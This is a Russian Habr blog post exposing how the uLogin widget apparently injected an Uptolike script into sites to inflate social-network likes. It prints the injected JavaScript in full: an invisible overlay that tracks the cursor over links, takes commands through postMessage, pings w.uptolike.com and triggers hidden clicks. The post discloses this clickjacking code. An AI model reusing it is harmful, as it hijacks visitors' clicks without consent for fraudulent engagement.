uLogin, как средство накрутки лайков клиентов

Будет немного сумбурно, но все же по делу.Рассказ пойдет о красном квадрате малевича, о uLogin и о сервисе социальной активности для набора лайков.Все началось с того, что ковыряясь в одном из своих проектов, наткнулся на красный квадрат Малевича — кодовое название накруточного слоя для лайков в соц сети, выглядело примерно так: a5d124e5294b4a8495f28f5dcbb69072.png

Поняв, что дело неладное, т.к. таких скриптов не ставил, полез искать шалуна.Для начала набрел на некий скрипт, лежащий по адресу: w.uptolike.com/widgets/v1/extra.js? rnd=903182 (далее Скрипт Uptolike)

Конечно, посетовав на нашего СЕО-специалиста, полез в админ-панель и в код сайта с поиском когда и кто успел прописать данный скрипт. Как Вы и предполагаете — ничего не нашел. Дальше — проще. Нужно найти кто же нам подсовывает этот скрипт. Искать долго не пришлось — это многими любимый uLogin:

671a2eba17574f21a82110c4a234e8fa.png

Теперь пойдем в тех особенности.Скрипт Uptolike не всегда выдает себя. Вот здоровый скрипт, показавший себя сразу же при пробе повторить эксперимент с накрутками:

Здоровый скрипт (function () { (function () {

if (! window[»__utl_adbl_initialized»]) { window[»__utl_adbl_initialized»] = true; } else { return; }

var body = document.getElementsByTagName («body»)[0]; var img = document.createElement («img»); img.src = »//w.uptolike.com/widgets/v1/det_dbl? rnd=»+Math.random ()+»&ad_number=1»; img.style.position = «absolute»; img.style.top = »-100 px»; img.style.left = »-100 px»; img.style.width = »1 px»; img.style.height = »1 px»; setTimeout (function () {body.removeChild (img);}, 2000); body.appendChild (img);

})();})(); Вот скрипт курильщика, который случайно попался на глаза от Uptolike:

Скрипт курильщика (function () { (function () {

if (! window[»__utl_adbl_initialized»]) { window[»__utl_adbl_initialized»] = true; } else { return; }

var body = document.getElementsByTagName («body»)[0]; var img = document.createElement («img»); img.src = »//w.uptolike.com/widgets/v1/det_dbl? rnd=»+Math.random ()+»&ad_number=1»; img.style.position = «absolute»; img.style.top = »-100 px»; img.style.left = »-100 px»; img.style.width = »1 px»; img.style.height = »1 px»; setTimeout (function () {body.removeChild (img);}, 2000); body.appendChild (img);

})();(function () {

function addScript (url) { var el = document.createElement («script»); el.type = «text/javascript»; el.charset = 'utf-8'; el.async = 'true'; el.src = url;

el.isLoaded = false; document.getElementsByTagName ('head')[0].appendChild (el);

}

if (window.location.protocol=='https') { return; }

if (! window[»__utl_clkj_initialized»]) { window[»__utl_clkj_initialized»] = true; } else { return; }

function install () {

var cleaning = false; var lastClickedElement;

var body = document.getElementsByTagName («body»)[0]; var div = document.createElement («div»); div.style.position = «absolute»; div.style.width = »1 px»; div.style.height = »1 px»; div.style.top = »-1 px»; div.style.left = »-1 px»; div.style.zIndex = »10000»; div.innerHTML = »

»; body.appendChild (div);

var el = document.getElementById (»__smth_wrap1»);

var mousemove = function (e) { var x = e.clientX, y = e.clientY; div.style.zIndex = »-1»; var element = document.elementFromPoint (x, y); div.style.zIndex = »10000»; if (element.nodeName == «A» || element.parentNode.nodeName == «A») { div.style.display = «block»; el.style.left = (e.pageX — 10) + «px»; el.style.top = (e.pageY — window.scrollY — 12) + «px»; lastClickedElement = element; } else { lastClickedElement = undefined; div.style.display = «none»; } };

var clickListener = function (e) { setTimeout (function () { cleanup (); }, 100); };

document.addEventListener («mouseup», clickListener);

function init (msg) { if (cleaning) { return; } if (msg && msg.data[«context»]===«stggr») { if (msg.data[«action»] === «init») { if (cleaning) { return; } setTimeout (function () { if (cleaning) { return; } div.style.width = »100%»; div.style.height = »100%»; div.style.top = »0»; div.style.left = »0»; window.addEventListener («mousemove», mousemove); }, 1000); } else if (msg.data[«action»] === «clean») { cleanup (); } else if (msg.data[«action»] === «got») { var img = document.createElement («img»); img.src = »//w.uptolike.com/widgets/v1/vk_clk? rnd=»+Math.random (); img.style.position = «absolute»; img.style.top = »-100 px»; img.style.left = »-100 px»; img.style.width = »1 px»; img.style.height = »1 px»; img.onLoad = function () { clickOnce (); } setTimeout (function () {body.removeChild (img);}, 2000); body.appendChild (img);

var clicked = false; var clickOnce = function () { if (clicked) return; if (lastClickedElement) { lastClickedElement.click (); clicked = true; } }

setTimeout (clickOnce, 500);

cleanup (); } } } if (window.addEventListener){ window.addEventListener («message», init, false); } else { window.attachEvent («onmessage», init); }

var cleanup = function () { cleaning = true; window.removeEventListener («mousemove», mousemove); document.removeEventListener («mouseup», clickListener); document.removeEventListener («message», init) body.removeChild (div); }; }

install ();

})()})(); Что делает:

Создает невидимый слой, который отображается при наведении на ссылки Ловит клик и сматывает удочки Содержимое iframe

Ссылки на ресурсы можно взять из кода. И да, это пример того, как современные «особенности» используются в современном «СЕО».

© Habrahabr.ru